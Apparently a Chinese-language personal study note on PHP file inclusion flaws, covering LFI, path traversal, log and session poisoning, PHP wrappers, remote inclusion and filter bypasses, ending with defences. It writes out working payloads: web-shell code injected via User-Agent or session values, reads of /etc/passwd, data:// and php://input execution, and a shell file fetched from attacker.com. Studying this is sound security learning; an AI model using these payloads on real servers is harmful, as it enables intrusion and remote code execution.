文件包含
网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。
包含函数(特指 PHP)
功能
- 运行指定文件
- 从该文件引入变量、函数等到当前文件
- 遇到
<?php ... ?>标签解析为 PHP 代码并执行。
常用函数
include(): 遇到错误发出警告,脚本继续执行require(): 遇到错误脚本停止include_once(): 同include(),但只包含一次require_once(): 同require(),但只包含一次
本地文件包含(LFI)
包含文件可能为变量形式,由用户输入或参数决定。
<?php
$file = $_GET['file'];
include($file);
?>
访问带包含语句的文件,修改参数,可包含服务器上的任意文件,获取敏感信息。
GET /index.php?file=/etc/passwd HTTP/1.1
常见目标
| 目标 | 路径(Linux) |
|---|---|
| 系统用户信息 | /etc/passwd |
| 系统配置 | /etc/hosts |
| Apache 配置 | /etc/apache2/apache2.conf |
| 日志文件 | /var/log/apache2/access.log |
| Web 源码 | /var/www/html/config.php |
路径遍历
如果服务器不解析绝对路径,可使用 ../ 向文件系统上层遍历
GET /index.php?file=../../../../etc/passwd HTTP/1.1
远程代码执行(RCE)
执行 LFI 后,可通过如下逻辑执行恶意代码
[!SUMMARY] RCE 流程
- 在服务器上写入一个包含恶意 PHP 代码的文件
- 通过 LFI 包含该文件
- 恶意代码被执行,完成 RCE
问题在于第一步:怎么写入?
日志注入
Web 服务器(Apache、Nginx)会将访问日志写入文件。
攻击流程
- 修改请求头,注入恶意 PHP 代码到日志文件
access.log中GET /index.php?file=whatever HTTP/1.1 User-Agent: <?php system($_GET['cmd']); ?> - 再通过 LFI 包含该日志文件
GET /index.php?file=/var/log/apache2/access.log&cmd=whoami HTTP/1.1
常见日志路径
| 服务器 | 路径 |
|---|---|
| Apache (Debian/Ubuntu) | /var/log/apache2/access.log |
| Apache (RHEL/CentOS) | /var/log/httpd/access_log |
| Nginx | /var/log/nginx/access.log |
| XAMPP (Windows) | C:\xampp\apache\logs\access.log |
| WampServer | C:\wamp\logs\access.log |
[!TIP] 格局打开 任何记录攻击者可控数据、且能被 LFI 读取的日志文件都可以利用
日志 解释 利用方式 /var/log/auth.logSSH 登录日志 尝试以 <?php system($_GET['cmd']);?>为用户名 SSH 登录/var/log/apache2/error.log错误日志 访问不存在的 <?php system($_GET['cmd']);?>页面时写入… … …
Session 文件包含
Session 简介
类似于存档,通过序列化保存必要的变量,记录会话状态。每个用户有唯一的 sid 保存在 Cookie 中,对应服务器上的文件 sess_<sid>。
用户首次访问
│
├── 服务器:session_start()
│ ├── 生成一个随机 session_id,比如 1234
│ └── 在服务器磁盘创建空文件:/tmp/sess_1234
│
├── 通过 Cookie 返回:PHPSESSID=1234
│
▼
用户再次访问(带着 Cookie:PHPSESSID=1234)
│
├── 服务器:session_start()
│ ├── 读到 session_id = 1234
│ ├── 打开文件:/tmp/sess_1234
│ ├── 反序列化内容 → 恢复 $_SESSION 数组
│ └── $_SESSION['username'] = 'admin' 恢复好了
│
▼
请求结束:
│
├── 服务器:把 $_SESSION 序列化
├── 写入文件:/tmp/sess_a1b2c3d4...
└── 文件内容:username|s:5:"admin";
Session 文件
文件路径由 session.save_path 决定
/var/lib/php/sessions/sess_<sid>(Linux 默认)/tmp/sess_<sid>C:\Windows\Temp\sess_<sid>(Windows 默认)
Session 序列化
序列化格式如下
<key>|<type>:<length>:"<value>";
示例
$_SESSION['user'] = 'tom'; $_SESSION['role'] = 'admin'; ↓ user|s:3:"tom";role|s:5:"admin";
[!CAUTION] 两把刷子
<value>是直接写在文件里的,如果能改之,就能写入任意内容!- 根据 Cookie 中的 sid,session 文件的路径是可知的,能通过 LFI 包含!
攻击流程
- 确定 session 文件路径
- 通过
phpinfo()查看session.save_path - 猜测常见路径
- 通过
- 找可控
$_SESSION赋值点- 直接读 .php 源码找赋值点(或
grep) - 修改可疑变量,
php://filter检查 session 文件变化
- 直接读 .php 源码找赋值点(或
- 向
$_SESSION写入恶意代码$_SESSION['username'] = '<?php system($_GET["cmd"]); ?>'; - 通过 LFI 包含 session 文件
/index.php?file=/tmp/sess_<sid>&cmd=whoami
PHP 伪协议(Wrapper)
特殊的文件访问机制,允许通过 URL 风格的路径访问各类资源。
我理解是把各种资源都当文件来读,类似 linux 里的一切皆文件
| 协议 | 需要 allow_url_include | 备注 |
|---|---|---|
php://filter | 不需要 | 永远可用 |
php://input | 不需要 | 永远可用 |
data:// | 需要 On | PHP ≥ 5.2 视为远程 URL |
http:// / ftp:// | 需要 On | RFI 核心 |
php://filter
在文件被 PHP 解析前,拦截数据流并进行处理,常用于读取源码。
把拦截处理后的数据流当文件来读
php://filter/操作1|操作2|.../resource=文件路径
常用操作如下
| 过滤器 | 功能 | 意义 |
|---|---|---|
convert.base64-encode | 源码编码为 Base64 | 读任何 PHP 文件 |
convert.base64-decode | 解码 Base64 后写入 | 配合写入链使用 |
convert.iconv.UTF-8.UTF-7 | 字符集转换 | 绕过特殊字符过滤 |
string.rot13 | ROT13 旋转编码 | 绕过关键字过滤 |
string.toupper | 转大写 | 辅助操作 |
string.tolower | 转小写 | 辅助操作 |
[!NOTE] 这个伪协议主要用来读源码
php://input
读取请求体数据流,常用于读取 POST 数据。
把 POST 请求体当文件来读
# 读取请求体数据作为 PHP 代码执行
include('php://input');
攻击者可以把恶意代码放在 POST 请求体中
POST /index.php?file=php://input HTTP/1.1
<?php system('whoami'); ?>
data://
直接读取嵌入的信息
把嵌入的信息当文件来读
# 直接将 <code> 作为 PHP 代码执行
include('data://text/plain,<code>');
# 将 <encoded> 解码后作为 PHP 代码执行
include('data://text/plain;base64,<encoded>');
可以将恶意代码放在 URL 中,直接包含执行,或base64编码防止被过滤
# 直接包含执行
/index.php?file=data://text/plain,<?php system('whoami'); ?>
# base64 编码后包含执行
/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
# ';'分隔参数 ','分隔段(这里是参数段与数据段),有点反直觉哦
远程文件包含(RFI)
如果服务器有如下配置,则可通过 URL 远程包含文件
allow_url_include = On
这个文件由攻击者完全控制
攻击流程
-
在攻击服务器上放置恶意文件
# shell.txt <?php # 远程执行命令 system($_POST['cmd']); # 远程执行 PHP 代码(加;) @eval($_POST['code']); ?>[!WARNING] 注意 PHP 文件会被服务器提前执行,因此远程文件不能是 .php后缀,除非是故意用 PHP 代码输出内容。
-
通过 URL 远程包含使目标服务器执行恶意文件
GET /index.php?file=http://attacker.com/shell.txt HTTP/1.1这里
http://也是一个 PHP 伪协议
过滤与绕过
有些网站会对包含的文件名进行过滤,阻止包含敏感文件,但也可以绕过。
后缀追加
强制追加后缀,只能包含指定后缀的文件
$file = $_GET['file'] . '.php';
include($file);
空字符截断
用 \0 让字符串结束,其 URL 编码为 %00
/index.php?file=/etc/passwd%00
php 拼接: /etc/passwd\0.php
路径长度截断
有些平台对路径长度有限制,超过限制的路径会被截断,因此填入超长路径使后缀失效
# 凑超长路径(./表示当前目录)
/index.php?file=/etc/passwd/././././././././...
# 或直接用点号
/index.php?file=/etc/passwd........
URL 参数截断
用 ? 或 # 结尾,使 PHP 认为后缀是 URL 片段
主要用于远程文件包含
# 问号截断
/index.php?file=http://attk.com/shell.txt?
php 拼接: http://attk.com/shell.txt?.php
?.php 被认为是 URL 的 query string
# 井号截断
/index.php?file=http://attk.com/shell.txt%23 # %23 是 URL 编码的 #
php 拼接: http://attk.com/shell.txt#.php
#.php 被认为是 URL 的 fragment
路径遍历过滤
不允许 ../ ..\\,阻止路径遍历
# 黑名单过滤
$file = str_replace(['../', '..\\'], '', $_GET['file']);
# 正则匹配过滤
if (preg_match('/\.\.\/|\.\.\\\\/', $_GET['file'])){
die('Invalid file path');
}
双写绕过
利用过滤非递归(只过滤一次)的性质
/index.php?file=....//....//
# 仅一次过滤
....// -> ../
双解码绕过
进行两次 URL 编码,过滤器解码一次,php 再解码一次,最终得到 ../
/index.php?file=%252e%252e%252f
# WAF 等过滤器解码一次
%252e%252e%252f -> %2e%2e%2f
# PHP 的 $_GET 解码一次
%2e%2e%2f -> ../
绝对路径
直接使用绝对路径,避免路径遍历
/index.php?file=/etc/passwd
有效防御
一些不能被绕过的有效防御措施
php.ini 配置
# 禁止远程文件包含
allow_url_include = Off
# 禁止远程文件访问
allow_url_fopen = Off
# 限制 PHP 访问指定目录
open_basedir = /var/www/html/
包含代码
白名单(最佳)
$whitelist = ['home', 'about', 'contact'];
$file = $_GET['file'];
if (in_array($file, $whitelist)){
include($file . '.php');
}
使用 basename() 去掉路径
$file = basename($_GET['file']);
include($file . '.php');